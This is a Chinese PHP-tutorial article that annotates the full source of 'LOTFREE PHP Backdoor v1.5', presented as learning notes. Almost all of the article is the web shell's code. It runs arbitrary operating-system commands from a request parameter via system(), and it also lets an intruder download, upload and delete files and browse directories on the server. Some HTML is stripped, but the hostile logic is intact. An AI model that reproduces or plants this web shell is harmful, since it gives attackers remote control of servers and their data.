0

0

解释PHP后门文件

php中文网

php中文网

发布时间:2016-07-25 09:13:33

|

2333人浏览过

|

来源于php中文网

原创

PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。

以下是一个后门程序的注释


  1. function good_link($link)
  2. {
  3. $link=ereg_replace(“/+”,”/”,$link);
  4. $link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link);
  5. $link=ereg_replace(“/+”,”/”,$link);
  6. if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
  7. if($link==”")$link=”.”;
  8. return $link;
  9. }
  10. //$_REQUEST用来取得提交到本文件的数据
  11. $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.”
  12. $dir=good_link($dir);
  13. $rep=opendir($dir); //打开dir指定的路径句柄
  14. chdir($dir); //切换到dir指定的目录
  15. if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定义了down
  16. {
  17. header(“Content-Type: application/octet-stream”);
  18. header(“Content-Length: “.filesize($_REQUEST["down"]));
  19. header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
  20. readfile($_REQUEST["down"]); //将文件读取到缓冲区
  21. exit();
  22. }
  23. ?>

  24. LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com



  25. echo “当前绝对路径为: ”.getcwd().”
    \n”; //获取当前的绝对路径
  26. echo “dir = ‘$dir’
    \n”;
  27. echo “当前目录,文件列表!

    \n”;
  28. //如果已经输入要执行的命令
  29. if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")
  30. {
  31. echo “
    \n”;
  32. system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显
  33. echo “
  34. \n”;
  35. }
  36. //如果已经上传了文件
  37. if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录
  38. {
  39. if($_FILES["fic"]["size"]
  40. {
  41. if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录
  42. {
  43. echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!
    \n”;
  44. }
  45. else echo “文件上传失败: “.$_FILES["fic"]["error"].”
    \n”;
  46. }
  47. else echo “File too large(文件超出大小限制)!
    \n”;
  48. }
  49. if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件
  50. {
  51. if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数
  52. echo “成功删除 “.$_REQUEST['rm'].”!
    \n”;
  53. else echo “删除文件失败
    \n”;
  54. }
  55. ?>



  56. $t_dir=array();
  57. $t_file=array();
  58. $i_dir=0;
  59. $i_file=0;
  60. //循环输读取前的目录文件,放在t_dir和t_file中
  61. while($x=readdir($rep))
  62. {
  63. if(is_dir($x)) //如果当前处理的是目录
  64. $t_dir[$i_dir++]=$x;
  65. else //如果当前处理的是文件
  66. $t_file[$i_file++]=$x;
  67. }
  68. closedir($rep); //关闭由opendir打开的目录句柄
  69. while(1) //循环输入当前路径的目录和文件
  70. {
  71. ?>



  72. //$_SERVER['PHP_SELF']取得当前php脚本文件名
  73. if($y=each($t_file))
  74. {
  75. if($y["key"]%2==0) //如果当前处理的是key
  76. echo ” bgcolor=’lightgreen’>\n”;
  77. else //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。
  78. echo “>\n”;
  79. echo “ ”.$y["value"].”\n”;
  80. }
  81. else echo“>\n”;
  82. ?>

  83. if($y)
  84. {
  85. //如果是文件,就提供以下删除该文件的链接
  86. if($y["key"]%2==0)echo ” bgcolor=’lightgreen’”;
  87. echo “>Del”;
  88. }
  89. else echo “>\n”;
  90. ?>


  91. if(!$x && !$y)
  92. break;
  93. }
  94. ?>

  95. if($x=each($t_dir))
  96. {
  97. $name=$x["value"]; //获取t_dir数组里的目录名称
  98. if($name==’.'){}
  99. elseif($name==’..’) echo “ UP(父目录)

    \n”; //展示一个UP链接,读取父目录的文件列表
  100. else
  101. echo “ ”.$name.”\n”;
  102. }
  103. ?>





  104. ?dir=”>revenirau repertoire d’origine



  105. ”>
  106. Execute commande(执行操作系统命令)


  107. 上传文件到服务器当前目录:

  108. ”>




复制代码





相关专题

更多
Word 字间距调整方法汇总
Word 字间距调整方法汇总

本专题整合了Word字间距调整方法,阅读下面的文章了解更详细操作。

2

2025.12.24

任务管理器教程
任务管理器教程

本专题整合了任务管理器相关教程,阅读下面的文章了解更多详细操作。

2

2025.12.24

AppleID格式
AppleID格式

本专题整合了AppleID相关内容,阅读专题下面的文章了解更多详细教程。

0

2025.12.24

csgo视频观看入口合集
csgo视频观看入口合集

本专题整合了csgo观看入口合集,阅读下面的文章了知道更多入口地址。

29

2025.12.24

yandex外贸入口合集
yandex外贸入口合集

本专题汇总了yandex外贸入口地址,阅读下面的文章了解更多内容。

58

2025.12.24

添加脚注通用方法
添加脚注通用方法

本专题整合了添加脚注方法合集,阅读专题下面的文章了解更多内容。

1

2025.12.24

重启电脑教程汇总
重启电脑教程汇总

本专题整合了重启电脑操作教程,阅读下面的文章了解更多详细教程。

3

2025.12.24

纸张尺寸汇总
纸张尺寸汇总

本专题整合了纸张尺寸相关内容,阅读专题下面的文章了解更多内容。

5

2025.12.24

Java Spring Boot 微服务实战
Java Spring Boot 微服务实战

本专题深入讲解 Java Spring Boot 在微服务架构中的应用,内容涵盖服务注册与发现、REST API开发、配置中心、负载均衡、熔断与限流、日志与监控。通过实际项目案例(如电商订单系统),帮助开发者掌握 从单体应用迁移到高可用微服务系统的完整流程与实战能力。

1

2025.12.24

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号